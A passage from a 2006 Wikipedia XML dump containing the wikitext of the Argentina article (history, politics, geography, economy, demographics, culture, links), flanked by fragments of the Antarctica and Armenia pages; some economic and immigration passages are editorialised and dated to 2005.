[[gl:Antártida]]
[[gu:ઍન્ટાર્કટિકા]]
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[[hu:Antarktisz]]
[[ia:Antarctica]]
[[id:Antartika]]
[[io:Antarktika]]
[[is:Suðurskautslandið]]
[[it:Antartide]]
[[ja:南極大陸]]
[[ko:남극]]
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[[zh-min-nan:Lâm-ke̍k-tāi-lio̍k]]</text>
    </revision>
  </page>
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    <title>Algorithms</title>
    <id>742</id>
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      <id>15899261</id>
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  <page>
    <title>Argentina</title>
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      <text xml:space="preserve">{{Otheruses}}
{{Infobox_Country|
native_name = República Argentina |
common_name = Argentina |
image_flag = Flag of Argentina.svg |
image_coat = Argentina_coa.png |  
image_map = LocationArgentina.png | 

national_motto = ''En Unión y Libertad''&lt;br&gt;([[English language|English]]: In Union and Liberty)|
national_anthem = ''[[Argentine National Anthem|Himno Nacional Argentino]]'' |
official_languages = [[Spanish language|Spanish]]|
capital = [[Buenos Aires]] |
latd=34|latm=20|latNS=S|longd=58|longm=30|longEW=W|
largest_city = [[Buenos Aires]] |
government_type= [[Democracy|Democratic]] [[Federal Republic]] |
leader_titles = [[President of Argentina|President]]|
leader_names = [[Néstor Kirchner]] |
area_rank = 8th |
area_magnitude = 1_E12 |
area=2,791,810*|
areami² = 1,077,924*| &lt;!-- Do not remove --&gt;
percent_water = 1.1 |
population_estimate = 39,538,000 |
population_estimate_year = 2005 |
population_estimate_rank = 31st |
population_census= 36,260,130|
population_census_year= 2001|
population_density = 13 |
population_densitymi² = 33.7 | &lt;!-- Do not remove --&gt;
population_density_rank= 165th|
GDP_PPP_year=2005|
GDP_PPP = US$ 537.2 billion [http://www.cia.gov/cia/publications/factbook/geos/ar.html#Econ]|
GDP_PPP_rank =22nd |
GDP_PPP_per_capita = US$ 14,087  |
GDP_PPP_per_capita_rank = 52nd |
HDI_year = 2003 |
HDI = 0.863 |
HDI_rank = 34th |
HDI_category = &lt;font color=&quot;#009900&quot;&gt;high&lt;/font&gt; |
sovereignty_type = [[Independence]]|
established_events = - [[May Revolution]]&lt;br&gt; - Declared&lt;br&gt; - Recognised |
established_dates = from [[Spain]]&lt;br&gt;[[25 May]] [[1810]]&lt;br&gt;[[9 July]] [[1816]]&lt;br&gt;in [[1821]] (by [[Portugal]]) |
currency = [[Argentine Peso|Peso]] |
currency_code = ARS |
time_zone= ART |
utc_offset= -3 |
time_zone_DST= ARST |
utc_offset_DST= -3 |
cctld= [[.ar]] |
calling_code = 54 |
footnotes = &lt;sup&gt;*&lt;/sup&gt; Argentina also claims 1,000,000 km² of [[Antarctica]], the [[Falkland Islands]] and [[South Georgia and the South Sandwich Islands]].  For a total of 3,761,274 sq.&amp;nbsp;km (1,452,236&amp;nbsp;sq&amp;nbsp;mi).
}}
{{wiktionarypar|Argentina}}

The '''Argentine Republic''' ([[Spanish language|Spanish]]: ''República Argentina'', [[International Phonetic Alphabet|IPA]] {{IPA|[reˈpuβlika aɾxɛnˈtina]}}) is a [[country]] in [[South America]], situated between the [[Andes]] in the west and the southern [[Atlantic Ocean]] in the east and south. It is bordered by [[Paraguay]] and [[Bolivia]] in the north, [[Brazil]] and [[Uruguay]] in the northeast, and [[Chile]] in the west and south. It also claims the [[British overseas territory|British overseas territories]] of the [[Falkland Islands]] ([[Spanish language|Spanish]]: ''Islas Malvinas'') and [[South Georgia and the South Sandwich Islands]]. Under the name of [[Argentine Antarctica]], it claims around 1,000,000 [[square kilometre]]s (386,000&amp;nbsp;[[square miles|sq.&amp;nbsp;mi]]) of [[Antarctica]], overlapping other claims by [[Chile]] and the [[United Kingdom]]. By area, it is the second largest country of South America after Brazil and the 8th largest country in the [[world]].

The country is formally named ''República Argentina'' {{audio|1=es-Argentina.ogg|2=(pronunciation)}} (Argentine Republic), while for purposes of [[Law of Argentina|legislation]] the form ''Nación Argentina'' (Argentine Nation) is used.

==Origin and history of the name==
{{main|Origin and history of the name of Argentina}}

The name '''Argentina''' derives from the [[Latin]] ''argentum'' ([[silver]]). The first [[Spain|Spanish]] [[conquistador]]s called the River Plate the [[Río de la Plata]] (&quot;River of Silver&quot;). Indigenous people gave silver gifts to the survivors of the shipwrecked expedition, who were led by [[Juan Díaz de Solís]]. The legend of [[Sierra del Plata]] &amp;mdash; a mountain rich in silver &amp;mdash; reached Spain around [[1524]]. The name Argentina was first used in Ruy Díaz de Guzmán's 1612 book ''Historia del descubrimiento, población, y conquista del Río de la Plata'' (History of the discovery, population, and conquest of the Río de la Plata), naming the territory ''Tierra Argentina'' (Land of Silver).

==History==
{{main|History of Argentina}}

The area of present Argentina was sparsely populated until it was colonised by [[european|Europeans]]. The native people known as [[Diaguita]] lived in northwestern Argentina on the edge of the expanding [[Inca Empire]]; the [[Guaraní]] lived farther east.

Europeans arrived in [[1502]]. [[Spain]] established a permanent colony on the site of [[Buenos Aires]] in [[1580]], and the [[Viceroyalty of the Río de la Plata]] in [[1776]]. Independence from Spain was declared on [[July 9]] [[1816]]. Centralist and federationist groups were in conflict, until national unity was established and the [[Argentine constitution|constitution]] promulgated in [[1853]].

Foreign [[investment]] and [[Immigration in Argentina|immigration]] from Europe aided the introduction of modern agricultural techniques and integration of Argentina into the world economy in the late 19th century. In the 1880s the &quot;[[Conquest of the Desert]]&quot; subdued or exterminated the remaining native tribes throughout [[Patagonia]].

From [[1880]] to [[1930]] Argentina became one of the ten wealthiest nations. Conservative forces dominated Argentine politics until [[1916]], when their traditional rivals, the [[Radical Civic Union|Radicals]], won control of the government. The military forced [[Hipólito Yrigoyen]] from power in 1930 leading to another decade of Conservative rule.

Political change led to the presidency of [[Juan Perón]] in [[1946]], who aimed at empowering the working class and greatly expanded the number of unionised workers. The [[Revolución Libertadora]] of [[1955]] deposed him.

In the 1950s and 1960s, military and civilian administrations traded power. When military governments failed to revive the economy and suppress escalating [[terrorism]] in the late 1960s and early 1970s, the way was open for Perón's return to the presidency in 1973, with his third wife, [[Isabel Perón|María Estela Isabel Martínez de Perón]], as Vice President. During this period, extremists on the [[political left|left]] and [[political right|right]] carried out [[terrorism|terrorist]] acts with a frequency that threatened public order.

[[Image:Buenos Aires-2672f-Banco de la Nación Argentina.jpg|thumb|250px|Bank of the Argentine Nation, Buenos Aires]]

Perón died in [[1974]]. His wife succeeded him in office, but a military coup removed her from office in [[1976]], and the armed forces formally exercised power through a [[junta]] in charge of the self-appointed [[Proceso de Reorganización Nacional|National Reorganisation Process]], until [[1983]]. The armed forces repressed opposition using harsh illegal measures (the &quot;[[Dirty War]]&quot;); thousands of dissidents were &quot;[[desaparecidos|disappeared]]&quot;, while the [[SIDE]] cooperated with the [[CIA]], [[DINA]] and other South American intelligence agencies in [[Operation Condor]]. Many of the military leaders that took part in the Dirty War were trained in the U.S. financed [[School of the Americas]]. Among them Argentine dictators [[Leopoldo Galtieri]] and [[Roberto Viola]].

Economic problems, charges of corruption, public revulsion in the face of [[human rights]] abuses and, finally, the country's [[1982]] defeat in the [[Falklands War]] discredited the Argentine military regime. 

Democracy was restored in [[1983]]. [[Raúl Alfonsín]]'s Radical government took steps intending to account for the &quot;disappeared&quot;, establishing civilian control of the armed forces and consolidating democratic institutions. Failure to resolve endemic economic problems and an inability to maintain public confidence caused his early departure.

President [[Carlos Menem]] imposed [[Argentine peso|peso]]-[[US dollar|dollar]] [[fixed exchange rate]] in [[1991]] to stop [[hyperinflation]], and adopted far-reaching market-based policies, dismantling [[protectionism|protectionist]] barriers and business [[deregulation|regulations]], and implementing a privatisation program. These reforms contributed to significant increases in investment and growth with stable prices through most of the 1990s.

The Menem and [[Fernando de la Rúa|de la Rúa]] administrations faced diminished competitiveness of exports, massive imports which damaged national industry and reduced employment, chronic fiscal and trade deficits, and the contagion of several economic crises. The [[Asian financial crisis]] in [[1998]] precipitated an outflow of capital that mushroomed into a [[recession]], which led to a total freezing of the [[bank account]]s (the ''[[corralito]]''), and culminated in a financial panic in November 2001. The next month, amidst [[December 2001 riots (Argentina)|bloody riots]], President de la Rúa resigned.

Several new presidents followed in quick succession. Argentina [[default (finance)|default]]ed on its international debt obligations. The peso's almost 12-year-old link with the dollar was abandoned, resulting in massive [[devaluation|currency depreciation]] and [[inflation]], in turn triggering a spike in unemployment and poverty. In [[2003]], [[Néstor Kirchner]] became the president, and started implementing new policies based on re-industrialisation, [[import substitution]], increased exports, consistent fiscal surplus, and high exchange rate.

==Politics==
[[Image:Buenos Aires Congreso stock xchng 214239.jpg|thumb|250px|Congress building in Buenos Aires]]
{{main|Politics of Argentina}}
{{seealso|Law of Argentina}}

The [[Constitution of Argentina|Argentine constitution]] of 1853, as [[1994 reform of the Argentine Constitution|revised in 1994]], mandates a [[Separation of powers|separation of powers]] into [[Executive (government)|executive]], [[legislative]], and [[judiciary|judicial branch]]es at the national and provincial level. The [[president of Argentina|president]] and vice-president are directly elected to 4-year terms. Both are limited to two consecutive terms; they are allowed to stand for a third term or more after an interval of at least one term. The president appoints [[cabinet (government)|cabinet]] ministers, and the constitution grants him considerable power as both [[head of state]] and [[head of government]], including authority to enact laws by presidential decree under conditions of &quot;urgency and necessity&quot; and the [[line-item veto]].

Argentina's [[parliament]] is the bicameral [[National Congress]] or ''[[Argentine National Congress|Congreso de la Nación]]'', consisting of a [[Senate]] (''[[Argentine Senate|Senado]]'') of 72 seats and a [[Chamber of Deputies]] (''[[Argentine Chamber of Deputies|Cámara de Diputados]]'') of 257 members. Since 2001, senators have been directly elected, with each province, including the [[Federal Capital]], represented by three senators. Senators serve 6-year terms. One-third of the Senate stands for reelection every 2 years via a partial majority system in each district. Members of the Chamber of Deputies are directly elected to 4-year term via a system of [[proportional representation]]. Voters elect half the members of the [[lower house]] every 2 years.

==Foreign relations==
{{main|Foreign relations of Argentina}}
{{seealso|Military of Argentina}}

Argentina is currently prompting the [[Mercosur]] as its first external priority, contrasting with the 1990s' emphasis in the relationship with the [[United States]].

==Administrative divisions==
[[Image:Argentina provinces.png|framed|Provinces of Argentina. Argentine Antarctica and Southern Atlantic Islands (23) not shown.]]
{{main|Provinces of Argentina}}
{{seealso|Governors in Argentina}}

Argentina is divided into 23 [[province]]s (''provincias''; singular: ''provincia''), and 1 [[autonomous city]] (commonly known as ''capital federal''), marked with an asterisk:
{|
|
# [[Buenos Aires|Buenos Aires (City)]]&lt;sup&gt;*&lt;/sup&gt;
# [[Buenos Aires Province|Buenos Aires (Province)]]
# [[Catamarca Province|Catamarca]]
# [[Chaco Province|Chaco]]
# [[Chubut Province|Chubut]]
# [[Córdoba Province (Argentina)|Córdoba]]
# [[Corrientes Province|Corrientes]]
# [[Entre Ríos Province|Entre Ríos]]
# [[Formosa Province|Formosa]]
# [[Jujuy Province|Jujuy]]
# [[La Pampa Province|La Pampa]]
# [[La Rioja Province (Argentina)|La Rioja]]
|
&lt;ol start=13&gt;
&lt;li&gt; [[Mendoza Province|Mendoza]]
&lt;li&gt; [[Misiones Province|Misiones]]
&lt;li&gt; [[Neuquén Province|Neuquén]]
&lt;li&gt; [[Río Negro Province|Río Negro]]
&lt;li&gt; [[Salta Province|Salta]]
&lt;li&gt; [[San Juan Province (Argentina)|San Juan]]
&lt;li&gt; [[San Luis Province|San Luis]]
&lt;li&gt; [[Santa Cruz Province (Argentina)|Santa Cruz]]
&lt;li&gt; [[Santa Fe Province|Santa Fe]]
&lt;li&gt; [[Santiago del Estero Province|Santiago del Estero]]
&lt;li&gt; [[Tierra del Fuego Province (Argentina)|Tierra del Fuego, Antártida e Islas del Atlántico Sur]]
&lt;li&gt; [[Tucumán Province|Tucumán]]
&lt;/ol&gt;
|}
&lt;sup&gt;*&lt;/sup&gt; The current official name for the [[federal district]] is &quot;Ciudad Autónoma de Buenos Aires&quot;.

Buenos Aires has been the capital of Argentina since its unification, but there have been projects to move the administrative centre elsewhere. During the presidency of Raúl Alfonsín a law was passed ordering the move of the federal capital to [[Viedma]], a city in the Patagonic province of Río Negro. Studies were underway when hyperinflation, in 1989, killed off the project. Though the law was never formally repealed, it has become a mere historical relic, and the project has been forgotten.

===Urbanization===
{{main|List of cities in Argentina}}
[[Image:Tucuman_govthouse.JPG|thumb|250px|right|Government house of Tucumán]]
About 2.7 million people live in the Autonomous City of [[Buenos Aires]], and roughly 11.5 million in [[Gran Buenos Aires|Greater Buenos Aires]] (2001), making it one of the largest urban conglomerates in the world. Together with their respective [[metropolitan area]]s, the second and third largest cities in Argentina, [[Córdoba, Argentina|Córdoba]] and [[Rosario]], comprise about 1.3 and 1.1 million inhabitants, respectively.

Most European [[immigration in Argentina|immigrants to Argentina]] (coming in great waves especially around the World War I and II) settled in the cities, which offered jobs, education, and other opportunities that enabled newcomers to enter the [[middle class]]. Since the 1930s many rural workers have moved to the big cities.

The 1990s saw many rural towns become [[ghost town]]s when train services were abandoned and local products manufactured on a small scale were replaced by massive amounts of imported cheap goods, in part because of the monetary policy which kept the U.S. dollar exchange rate fixed and low. Many slums (''[[villa miseria|villas miseria]]'') sprouted in the outskirts of the largest cities, inhabited by empoverished low-class urban dwellers and migrants from smaller towns in the interior of the country. However, it is important to note that the majority of the people that live in these newly formed small shanty towns are people that came from neighboring countries during the time of convertibility and never left. This immigration of humble people from a low socioeconomic status represented an undesirable change because shanty towns and homeless people begging for money was something Argentines didn't know until the economic disaster of the 1990s. However, the government works actively to try to include these new inmigrants into Argentine society and considers their children born in Argentina to be Argentines. There are no plans to build any type of wall to keep these inmigrants out. Argentina adheres to a policy of allowing anybody who wants to come to Argentina to come freely without restrictive inmigration measures. In this respect Argentina is more progressive than many fully developed countries. 

&lt;!-- to be filled in with middle class home data --&gt;
Argentina's urban areas have a European look, reflecting the influence of their European settlers. Many towns and cities are built like Spanish cities around a main square called a plaza. A cathedral and important government buildings often face the plaza. The general layout of the cities is called a ''damero'', that is, a checkerboard, since it is based on a pattern of square blocks, though modern developments sometimes depart from it (for example, the city of La Plata, built at the end of the 19th century, is organised as a checkerboard plus diagonal avenues at fixed intervals).

In descending order by number of inhabitants, the major cities in Argentina are [[Buenos Aires]], [[Córdoba, Argentina|Córdoba]], [[Rosario]], [[Mendoza]], [[La Plata]], [[Tucumán]], [[Mar del Plata]], [[Salta]], [[Santa Fe, Argentina|Santa Fe]], and [[Bahía Blanca]].

==Geography==
[[Image:Ar-map.png|200px|thumb|Map of Argentina]]
{{main|Geography of Argentina}}

Argentina can roughly be divided into three parts: the fertile plains of the [[Pampa]]s in the central part of the country, the centre of Argentina's [[agriculture|agricultural]] wealth; the flat to rolling plateau of [[Patagonia]] in the southern half down to [[Tierra del Fuego]]; and the rugged [[Andes]] [[mountain range]] along the western border with [[Chile]], with the highest point being the [[Cerro Aconcagua]] at 6,960 metres (22,834 [[foot (unit of length)|ft]]).

Major rivers include the [[Paraguay River|Paraguay]], [[Bermejo River|Bermejo]], [[Colorado River (Argentina)|Colorado]], [[Uruguay River|Uruguay]] and the largest river, the [[Paraná River|Paraná]]. The latter two flow together before meeting the [[Atlantic Ocean]], forming the estuary of the [[Río de la Plata]]. The Argentine [[climate]] is predominantly [[temperate climate|temperate]] with extremes ranging from [[subtropical climate|subtropical]] in the north to arid/sub-Antarctic in far south.

=== Enclaves and exclaves ===
There is one Argentine [[exclave]]: the island of [[Martín García]] (co-ordinates {{coor dm|34|11|S|58|15|W}}). It is situated near the confluence of the Paraná and Uruguay rivers, a mere kilometre (0.62&amp;nbsp;mi) inside [[Uruguay]]an waters, about 3.5 kilometres (2.1 mi) from the Uruguayan coastline, near the small city of [[Martín Chico]] (itself about halfway between [[Nueva Palmira]] and [[Colonia del Sacramento]]).

An agreement reached by Argentina and Uruguay in 1973 reaffirmed Argentine jurisdiction over the island, ending a century-old dispute between the two countries. According to the terms of the agreement, Martín García is to be devoted exclusively to a natural preserve. Its area is about 2 square kilometres (500&amp;nbsp;[[acre]]s), and the population about 200 people.

==Economy==
[[Image:Buenos Aires Monserrat.jpg|thumb|250px|Subway station in Monserrat, Buenos Aires]]
{{main|Economy of Argentina}}
{{seealso|Tourism in Argentina}}

Argentina benefits from rich [[natural resource]]s, a highly [[literate]] population, an export-oriented [[agriculture|agricultural]] sector, and a diversified [[industry|industrial]] base. The country historically had a large middle class, compared to other Latin American countries, but this segment of the population was decimated by a succession of economic crises. Today, while a significant segment of the population is still financially well-off, they stay in sharp contrast with millions who live in poverty or on the brink of it.

Since the late 1970s the country piled up public debt and was plagued by bouts of high [[inflation]]. In 1991, the government [[fixed exchange rate|pegged]] the peso to the [[United States dollar|U. S. dollar]] and limited the growth in the [[monetary base]]. The government then embarked on a path of [[free trade|trade liberalisation]], [[deregulation]], and [[privatisation]]. Inflation dropped and [[gross domestic product|GDP]] grew, but external economic shocks and failures of the system diluted its benefits, causing it to crumble in slow motion, from 1995 and up to the [[Argentine economic crisis|collapse in 2001]].

By 2002 Argentina had [[default (finance)|default]]ed on its debt, its GDP had shrunk, [[unemployment]] was over 25%, the peso had [[devaluation|devalued]] 75% after being [[floating exchange rate|floated]], and inflation was hitting again. However, careful spending control and heavy [[tax]]es on now soaring exports gave the state the tools to regain resources and conduct [[monetary policy]].

In 2003, [[import substitution]] policies and soaring [[export]]s, coupled with a lower inflation and expansive economic measures, triggered a surge in the GDP, which was repeated in 2004, creating jobs and encouraging internal consumption. [[Capital flight]] decreased, and [[foreign investment]] slowly returned. The influx of foreign currency from exports created such a huge [[trade surplus]] that the Central Bank was forced to buy dollars from the market, which it continues to do at the time, to be accumulated as [[reserve currency|reserves]].

The situation in 2005 is much improved, but there are still large numbers of unemployed people that beg for some money or food, especially in the outskirts of [[Buenos Aires]]. Some of them are homeless, and there is at least one small non-profit humanitarian organisation which distributes free food to some of them most days of the week. However, the country is still the most developed country in Latin America. It boasts the highest GDP per capita, the highest levels of education measured by university attendance, and a reasonable infrastructure that in many aspects is equal in quality to that found in fully industrialized nations. In 2002 over 57% of the population was below the poverty line, at the end of 2005 it was 34%. In 2002 unemployement had reached over 25%, and now it is 10%. GDP per capita has surpassed the previous pre-recession peek of 1998. It is a very interesting time in Argentina because the experts agree that if the country makes the right decisions it could develop and reclaim its previosly held position in the first world. So far things are looking good; the economy grew 8.8% in 2003, 9.0% in 2004, and 9.1% in 2005. The floor is set so that the economy will grow between 6.0% and 7.5% in 2006 and the government is paying down the foreign debt; foreign debt now stands at 69% of GDP and is slowly decreasing. The Argentine economy has so much untapped potential that if the country manages to encourage the proper level of investment the country could experience growth rates of 9.0% for this year and years to come.

==Demographics==
[[Image:TeatroColon.JPG|thumb|right|300px|Night shot of the Colon Theatre in Buenos Aires, Argentina]]
{{main|Demographics of Argentina}}

Unlike most of its neighbouring countries, Argentina's population descends overwhelmingly from [[Europe|Europeans]]. The basic demographic stock (97% of the population) [http://www.cia.gov/cia/publications/factbook/geos/ar.html] is made up of descendants of [[Spain|Spanish]], [[Italy|Italian]], [[Germany|German]] and other [[Europe|European]] settlers. 

Waves of immigrants from [[Europe]]an countries arrived in the late [[19th century|19th]] and early [[20th century|20th centuries]]. The Patagonian [[Chubut Valley]] has a significant [[Welsh settlement in Argentina|Welsh-descended population]] and retains many aspects of [[Wales|Welsh]] culture. Other important immigrant groups came from [[Germany]] ([[Germany|German]] colonies were settled in the provinces of Entre Ríos, Misiones, Formosa, Córdoba and the Patagonian region, as well as in Buenos Aires itself), [[France]] (mostly settled in Buenos Aires city and province), [[Scandinavia]] (especially [[Sweden]]), the [[United Kingdom]] and [[Ireland]] (Buenos Aires and Patagonia), and [[Eastern Europe]]an nations, such as [[Poland]], [[Russia]], [[Ukraine]] and the [[Balkans]] region (especially [[Croatia]] and [[Serbia]]) and others. The overwhelming majority of Argentina's [[Jew|Jewish]] community, numbering about 395,379  [http://www.jewishvirtuallibrary.org/jsource/Judaism/jewpop.html], also derives from immigrants of Northern and Eastern European origin &amp;mdash; [[Ashkenazi Jews]]. It is the largest Jewish community in [[Latin America]] and fifth largest in the world.

[[Middle East]]ern immigrants number about 500,000, mainly in urban areas.{{Citation needed}}

Small numbers of people from [[Far East]] [[Asia]] have also settled Argentina, mainly in Buenos Aires. The first [[Asian-Argentines]] were of [[Japan]]ese descent, but [[Korea]]ns, [[Vietnam]]ese, and [[China|Chinese]] soon followed. There are also smaller numbers of people from the [[Indian subcontinent]].

==Culture==
[[Image:Buenos_Aires-Center-P3050007.JPG|thumb|European and modern styles in Buenos Aires]]
{{main|Culture of Argentina}}
{{seealso|List of Argentines}}
Argentine culture has been primarily informed and influenced by its European roots. Buenos Aires is undeniably the most European city in [[South America]], due both to the prevalence of people of Italian, Spanish and German descent and to conscious imitation.

Argentine cinema has achieved international recognition with films such as &quot;[[The Official Story]]&quot; and &quot;[[Nine Queens]]&quot;, though it has only rarely been taken into account by mainstream popular viewers who prefer Hollywood-type movies. Even low-budget productions, however, have obtained prizes in cinema festivals (such as [[Cannes]]). The city of [[Mar del Plata]] organizes its own festival dedicated to this art.

The best-known element of Argentine culture is probably their music and dance, particularly [[tango (dance)|tango]]. In modern Argentina, tango music is enjoyed in its own right, especially since the radical [[Astor Piazzolla]] redefined the music of [[Carlos Gardel]]. It must be noted that while tango refers mostly to a particular dancing music for foreigners, the music together with the lyrics (often sung in a kind of slang called [[lunfardo]]) are what most Argentines primarily mean by tango. Tango lyrics can be considered a kind of poetry. 
Since the 1970s rock and roll is also widely appreciated in Argentina. First during the 1970s and then again at the mid 1980s and the beginning of the 1990s, national rock and roll and pop music experienced bursts of popularity, with many new bands (such as [[Soda Stereo]] and Sumo) and composers (like [[Charly García]] and [[Fito Páez]]) becoming important referents of national culture.
[[Buenos Aires]] is also considered the [[techno]]/[[electronica]] country in Latin America, that started with little raves, and nowadays is home of important events such as [[Creamfields]] (which has the world record of 65,000 people), South American Music Conference and many more.

[[European classical music]] is well-considered in Argentina, with the [[Colón Theater]] one of the best opera houses in the world. Musicians such as [[Martha Argerich]] and composers like [[Lalo Schifrin]] have become internationally famous.

See also the articles on the [[Cuisine of Argentina|cuisine]], the [[Music of Argentina|music]], and the [[Football in Argentina|football]] ([[Spanish language|Spanish]]: ''Fútbol'') of Argentina. For a prevalent custom among Argentines, see [[Yerba Mate|mate]]. For the traditional Buenos Aires dance, see [[tango (dance)|tango]].

===Language===
{{main|List of Native American languages in Argentina}}
{{seealso|Welsh settlement in Argentina}}
[[Image:Buenos Aires-Puente de la Mujer.jpg|thumb|250px|Women's Bridge in Puerto Madero, Buenos Aires]]
The only official language is [[Spanish language|Spanish]], although some immigrants and indigenous communities have retained their [[List of Native American languages in Argentina|original languages]] in specific points of the country. There are, for example many [[Welsh language|Welsh]]-speaking towns in Patagonia and [[German language|German]]-speaking cities in Córdoba, Buenos Aires and cities in the Patagonia. Italian and French is also widely spoken.

Argentina is the largest [[Spanish language|Spanish]]-speaking community in the world that employs ''[[voseo]]'' (the use of the [[pronoun]] ''vos'' instead of ''tú'', associated with some alternate verb conjugations). The most prevalent dialect is [[Rioplatense Spanish|Rioplatense]], with most speakers located in the basin of the [[Río de la Plata]].

===Religion===
{{main|Religion in Argentina}}
Argentina is an overwhelmingly [[Christian]] country. The majority of Argentina's population (80%) is at least nominally [[Roman Catholic]]. Roman Catholicism is supported by the state, as stipulated in the Constitution. Evangelical churches gained a place in Argentina especially since the 1980s and now number more than 3.5 million or 10%. Members of the [[Church of Jesus Christ of Latter-day Saints]] ([[Mormons]]) number over 330,300, the seventh largest concentration in the world[http://www.lds.org.ar/noticias2005/noti_ene2005/info_noti_ene2005_05.htm]. Traditional [[Protestant]] communities are also present.

The country also hosts the largest [[Judaism|Jewish]] population in [[Latin America]], about 395,379 strong. It is also home to one of the largest [[mosque]]s in Latin America, serving Argentina's small [[Islam|Muslim]] community.

==See also==
&lt;!-- section with alphabetical order --&gt;
* [[Argentine Antarctica]]
* [[Communications in Argentina]]
* [[Education in Argentina]]
* [[Elections in Argentina]]
* [[Foreign relations of Argentina]]
* [[Governors in Argentina]]
* [[Military of Argentina]]
* [[National parks of Argentina]]
* [[Public holidays in Argentina]]
* [[Tourism in Argentina]]
* [[Transportation in Argentina]]

==References==
&lt;!-- section with alphabetical order --&gt;
* [http://members.tripod.com.ar/republica_argentina/index.htm General information]
* [http://www.argentour.com/ar.html General information]
* [http://www.mapsofworld.com/argentina/index.html General information and maps]
* [http://www.todo-argentina.net/index.htm Geography and history]
* [http://www.argentinaxplora.com/index.htm Geography and tourism]
* [http://www.surdelsur.com/ History]
* [http://www.monografias.com/cgi-bin/search.cgi?substring=0&amp;bool=and&amp;query=Argentina&amp;I1=Buscar Other information]

==External links==
{{sisterlinks|Argentina}}
&lt;div style=&quot;font-size: 90%&quot;&gt;
===Government===
*{{es icon}} [http://www.info.gov.ar Gobierno Electrónico] - Official government website
*{{es icon}} [http://www.presidencia.gov.ar Presidencia de la Nación] - Official presidential website
*{{es icon}} [http://www.senado.gov.ar Honorable Senado de la Nación] - Official senatorial website
*{{es icon}} [http://www.diputados.gov.ar Honorable Cámara de Diputados de la Nación] - Official lower house website

===Directories===
*{{en icon}} [http://www.loc.gov/rr/international/hispanic/argentina/argentina.html Library of Congress]
*{{en icon}} [http://dmoz.org/Regional/South_America/Argentina Open Directory Project]
*{{es icon}} [http://ar.todalanet.net Todalanet] - Search engine of Argentine only websites

===News===
*{{es icon}} [http://www.telam.com.ar Télam] (Official news agency)
*{{de icon}} [http://www.tageblatt.com.ar Argentinisches Tageblatt] ([[Argentinisches Tageblatt|See article]])
*{{en icon}} [http://www.buenosairesherald.com Buenos Aires Herald] ([[Buenos Aires Herald|See article]])
*{{es icon}} [http://www.clarin.com Clarín] ([[Clarín (Newspaper)|See article]])
*{{es icon}} [http://www.diariodecuyo.com.ar Diario de Cuyo] ([[San Juan, Argentina|San Juan]])
*{{es icon}} [http://www.lacapital.com.ar La Capital] ([[La Capital|See article]])
*{{es icon}} [http://www.diariouno.net.ar Diario UNO] ([[Mendoza]])
*{{es icon}} [http://www.losandes.com.ar Diario Los Andes] ([[Mendoza]])
*{{es icon}} [http://www.eldiariodeparana.com.ar El Diario] ([[Paraná]])
*{{es icon}} [http://www.eltribuno.com.ar El Tribuno] ([[Salta]])
*{{es icon}} [http://www.infobae.com Infobae] ([[Buenos Aires]])
*{{es icon}} [http://www.lavozdelinterior.com.ar La Voz del Interior] ([[Córdoba, Argentina|Córdoba]])
*{{es icon}} [http://www.lagaceta.com.ar La Gaceta] ([[Tucumán]])
*{{es icon}} [http://www.lanacion.com La Nación] ([[La Nación|See article]])
*{{es icon}} [http://www.larazon.com.ar La Razón] ([[Buenos Aires]])
*{{es icon}} [http://www.lanueva.com.ar La Nueva Provincia] ([[Bahía Blanca]])
*{{es icon}} [http://www.pagina12.com.ar Página/12] ([[Página 12|See article]])
*{{es icon}} [http://www.lacapitalnet.com.ar La Capital] ([[Mar del Plata]])
*{{es icon}} [http://www.lavozdelpueblo.com.ar La Voz del Pueblo] (Tres Arroyos)

===Images===
*{{es icon}} [http://cometoargentina.tripod.com/ Mundo Argentina]
*{{es icon}} [http://www.vester.com.ar/argentina/ Regions, landscapes and people]
*{{en icon}} [http://www.geographicguide.com/south-america.htm South America Pictures]
*{{en icon}} [http://www.geographicguide.com/south-america-map.htm South America Maps]
*{{en icon}} [http://www.globe-images.com/south-america.htm South America Satellite Images]
*{{es icon}} [http://www.fotos-de-argentina.com.ar/ Photos of Argentina]

===Travel===
*{{es icon}} [http://www.turismo.gov.ar/ Secretaria de Turismo de la Nacion] - Official tourism website
*{{es icon}} [http://www.argentinatravelnet.com/ Directory of travel websites]
*{{en icon}} [http://www.roadjunky.com/argentina/guide_argentina.shtml Travel tips and a deep look at Argentine culture] 
*{{en icon}} [http://www.argentinacafe.com/ Guidebook reviews and flight tips]
*{{en icon}} [http://www.destination360.com/south-america/argentina/argentina.php Travel highlights]
*{{en icon}} [http://www.thowra.com/argentina.html Interesting places]
*{{en icon}} [http://www.VisitGayBA.com VisitGayBA.com]
*{{en icon}} {{wikitravel}}

===Other===
*{{es icon}} [http://www.josemariarosa.galeon.com/ José María Rosa historian]
*{{es icon}} [http://www.elhistoriador.com.ar/ Felipe Pigna historian]
*{{en icon}} [http://www.argentina-information.com/ Essential facts and other information]
*{{en icon}} [http://www.coha.org Council on Hemispheric Affairs]
*{{en icon}} [http://www.latinbusinesschronicle.com/argentina Latin Business Chronicle]
*{{en icon}} [http://www.cia.gov/cia/publications/factbook/geos/ar.html CIA World Factbook]
&lt;/div&gt;
{{Provinces of Argentina}}
{{South America}}

[[Category:Argentina| ]]
[[Category:South American countries|Argentina]]

{{Link FA|de}}

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[[gl:Arxentina - Argentina]]
[[ko:아르헨티나]]
[[ht:Ajantin]]
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[[he:ארגנטינה]]
[[hy:Արգենտինա]]
[[ka:არგენტინა]]
[[kw:Arghantina]]
[[ku:Arjantîn]]
[[la:Argentina]]
[[lv:Argentīna]]
[[lt:Argentina]]
[[lb:Argentinien]]
[[li:Argentinië]]
[[hu:Argentína]]
[[mk:Аргентина]]
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[[nl:Argentinië]]
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[[ja:アルゼンチン]]
[[no:Argentina]]
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[[oc:Argentina]]
[[pl:Argentyna]]
[[pt:Argentina]]
[[ro:Argentina]]
[[qu:Arxintina]]
[[ru:Аргентина]]
[[sa:अर्जन्टीना]]
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[[tl:Arhentina]]
[[ta:அர்ஜென்டினா]]
[[th:ประเทศอาร์เจนตินา]]
[[vi:Argentina]]
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[[yi:אַרגענטינע]]
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[[fiu-vro:Argentina]]</text>
    </revision>
  </page>
  <page>
    <title>Armenia</title>
    <id>745</id>
    <revision>
      <id>42152036</id>
      <timestamp>2006-03-04T04:03:02Z</timestamp>
      <contributor>
        <ip>68.41.31.120</ip>
      </contributor>
      <comment>/* Origin of the name */</comment>
      <text xml:space="preserve">{{otheruses1|the country in Eurasia}}
&lt;!-- BEGIN INFOBOX --&gt;
{{Infobox Country |
